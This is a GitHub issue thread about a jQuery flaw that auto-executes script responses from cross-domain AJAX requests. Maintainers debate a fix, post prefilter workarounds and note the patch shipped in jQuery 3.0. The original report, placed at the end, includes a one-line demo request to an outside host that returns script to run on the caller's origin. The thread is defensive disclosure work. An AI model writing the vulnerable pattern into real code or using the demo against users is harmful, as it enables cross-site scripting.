-
Notifications
You must be signed in to change notification settings - Fork 20.6k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Inadequate/dangerous jQuery behavior for 3rd party text/javascript responses #2432
Comments
There would be some pretty significant backcompat implications here. |
@dmethvin I generally agree that it's developer's responsibility to use $.ajax properly with all options to control the response processing. However if we google "jquery cors request" good half of the results doesn't use dataType setting. Anyway if it seems hard to monkey patch it for cross domain requests, I'm fine with it. |
I should have made it clear that I really dislike the "intelligent guess" logic too, for this very reason. If it was taken out and the caller had to declare their data type (or explicitly tell us to guess?) the hole would close. But I suspect it would break a ton of the world's sites. What do others think? |
I don't see how it can break something because the fix is only for cross domain requests not using dataType: 'script' and expecting javascript (not jsonp). Why would a website load JS from other domains via $.ajax? This is really weird and I feel it's safe to patch. |
@homakov Thanks for opening an issue. Would you be comfortable opening a PR with the proposed changes? I think we could evaluate this change more thoroughly if we could see some code. |
@timmywil i'm only doing security but i will see if i can write this thing |
I should also clarify that in this case the "attacker" is a web site that you're asking for data via |
Via |
Everything about automated script detection is configurable so it's pretty easy to disable it (untested examples that should work): // Good: disable javascript detection globally
$.ajaxSetup( {
contents: {
javascript: false
}
} );
// Acceptable: disable text to javascript promotion (but will break intended manual conversions)
$.ajaxSetup( {
converters: {
"test => javascript": false
}
} );
// Preferred: use a prefilter to be more specific (only crossDomain)
$.ajaxPrefilter( function( s ) {
if ( s.crossDomain ) {
s.contents.javascript = false;
}
} ); Not a fan of changing the behaviour within the lib but I can understand the rationale (though I'd recommand just removing the javascript dataType detection in the default options then). |
That would disable detection for all requests, whereas same origin request are still considered safe? |
Exactly, the other option is to use the prefilter which makes the behaviour pretty difficult to document imo. Hence why I'd rather go with pushing the solution in userland. |
@jaubourg teaching users is very hard, remember $(location.hash) bug, it took years of vulnerable apps for jQuery to fix this. The one I posted is not used in the wild yet, but imagine how many apps use code like that. |
The change to not execute cross domain scripts by default is much less obtrusive than turning off all script execution by default. I think @markelog's solution is worth trying in the next release. |
@homakov, there are lots of other ways to execute malicious scripts with the DOM API alone. This is not a case of user input being unchecked and used as is, it's a case of code reaching knowingly to a hard-coded URL. There's a big difference. People all around the globe are already using scripts from other domains (CDNs) which poses the exact same issue. @timmywil, since we can handle this with configuration (ie a prefilter), I don't see the appeal of hacking deep into the conversion logic. |
@jaubourg I agree this can be handled easily with a prefilter, but the advantage of changing the default behavior is that users err on the side of security, rather than unintentionally executing cross domain scripts. |
Many people use CDNs but here they definitely don't expect current behavior. I would rank it as Low severity, but the fix is simple so i think it's worth it |
@homakov i believe we mitigate this, would you mind testing it out? |
|
Proposed by @jaubourg Fixes jquerygh-2432 Closes jquerygh-2588 (cherry picked from commit b078a62) # Conflicts: # test/unit/ajax.js
Proposed by @jaubourg Fixes jquerygh-2432 Closes jquerygh-2588 (cherry picked from commit b078a62) # Conflicts: # test/unit/ajax.js (cherry picked from commit 3493060)
Is this patched/fixed for 2.2.4 as of now? |
The issue was patched in jQuery 3.0.0 and erroneously backported to 1.12/2.2. The change has been reverted in 1.12.3/2.2.3 as it was a breaking change; it will not be brought back there. To have the fix you need to either update to jQuery 3 or apply the patch manually in your application code just after loading jQuery: // Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432)
jQuery.ajaxPrefilter( function( s ) {
if ( s.crossDomain ) {
s.contents.script = false;
}
} ); This issue is going in circles now, people are re-asking the same questions over & over again. I'm locking this issue, please direct further questions to jQuery Forums or Stack Overflow. |
Proposed by @jaubourg Cherry-picked from b078a62 Fixes jquerygh-2432 Closes jquerygh-2588
Fixes jquerygh-2432 Cherry pick: c254d30
Proposed by @jaubourg Fixes jquerygh-2432 Closes jquerygh-2588
Proposed by @jaubourg Fixes jquerygh-2432 Closes jquerygh-2588 (cherry picked from commit b078a62) (cherry picked from commit 3493060)
Because of this
jquery/src/ajax/script.js
Line 18 in 250a199
So when we do $.get('http://weather.com/sf-weather') or like in Rails' jquery_ujs a form is being sent automatically, the attacker can respond us with text/javascript and execute arbitrary code on our origin. Demo
$.get('http://sakurity.com/jqueryxss')
The fix is to not execute responses from 3rd party origins by default and make it an option. Don't know who to cc to discuss it.
P.S. I would switch it off for same origin either, because using subtle redirect_to saving tricks we can redirect user to local JSONP endpoint and still get an XSS but those are much more sophisticated vectors.
The text was updated successfully, but these errors were encountered: